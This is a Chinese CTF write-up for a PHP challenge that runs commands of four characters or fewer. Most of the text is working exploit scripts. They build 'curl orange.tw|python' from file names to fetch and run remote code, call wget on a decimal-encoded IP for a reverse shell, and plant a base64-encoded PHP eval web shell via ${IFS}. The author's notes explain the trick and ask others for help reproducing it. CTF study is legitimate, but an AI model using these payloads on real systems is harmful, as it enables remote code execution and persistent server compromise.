0x01 源码
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
这儿直接放出payload
import requests
from urllib import quote
payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# 生成命令 "curl orange.tw|python;"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>29\\',
'>1\\',
'>0.\\',
'>13\\',
'>8.\\',
'>16\\',
'>2.\\',
'>19\\',
'>\ \\',
'>rl\\',
'>cu\\',
# getshell
'sh x',
'sh g',
]
r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
dir
命令和类似,这儿之所以使用dir
是因ls
的输出是按照字母表排列的,所以使用dir
排在第一个*
命令是将当前目录得文件拼接起来当作命令执行
下面相当于执行了dir 'g>' ht- rev sl
,所以输出就是这几个文件
下面相当于执行了dir
,所以输出所有文件,这儿只是执行了与之匹配得dir
文件的命令
所以我们执行*>v
, 于是文件v的内容为g> ht- sl
我们再执行>rev创建一个名称为rev的文件
再执行*v就是相当于执行了 rev v,这样文件v里面的内容就反转过来了,由g> ht- sl
变为了ls -th >g
-
注意文件名称不能以
.
开头,可能是版本问题吧,我在ubuntu18.04上是可以的 -
注意文件的名称不能重复
-
按道理来说
>ls\\\\
才能生成一个名称为ls\
的文件,我在ubuntu18.04,php7和php5,apache2上没有复现成功,但是writeup上面写的只需要一个\,没搞明白,还请大佬指点一下
其它可以参考的payload
import requests
def exec_sub(cmd):
resp = requests.post("http://52.199.204.34/?cmd="+cmd).text
def exec(cmd):
for x in cmd:
print(x)
if cmd[-1]==x:
exec_sub(">%s" % x)
exec_sub("ls>>\\")
exec_sub("rm %s" % x)
elif x==" ":
exec_sub(">\\ \\")
exec_sub("ls>>\\")
exec_sub("rm ?\\")
else:
exec_sub(">%s\\" % x)
exec_sub("ls>>\\")
exec_sub("rm %s\\" % x)
exec_sub("sh \\")
exec("wget 1759614952")
这儿直接把IP抓换成了10进制
我复现的时候,我在本地127.0.0.1上直接写一个反弹shell,但是我wget 127.0.0.1的十进制的时候发现不能返回数据,我又把那个放在vps上,发现是可以返回数据的,这个也不太明白是怎么回事,还请大佬指点一下~~
另外我们也可以直接写一句话
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
但是我们需要注意的是这个有两个空格,所以我们需要将一个空格用其它的字符等价代替
于是:
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
payload:
#!/usr/bin/python
# ‐*‐ coding: UTF‐8 ‐*‐
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
另外这道题目还需要读取数据库的数据,但是数据库没有回显,所以我么可以利用外带的方法,将结果保存到文件中,然后访问文件得到数据内容
https://www.jianshu.com/p/5aad993c793e
这儿介绍了许多其它方法,受益匪浅~~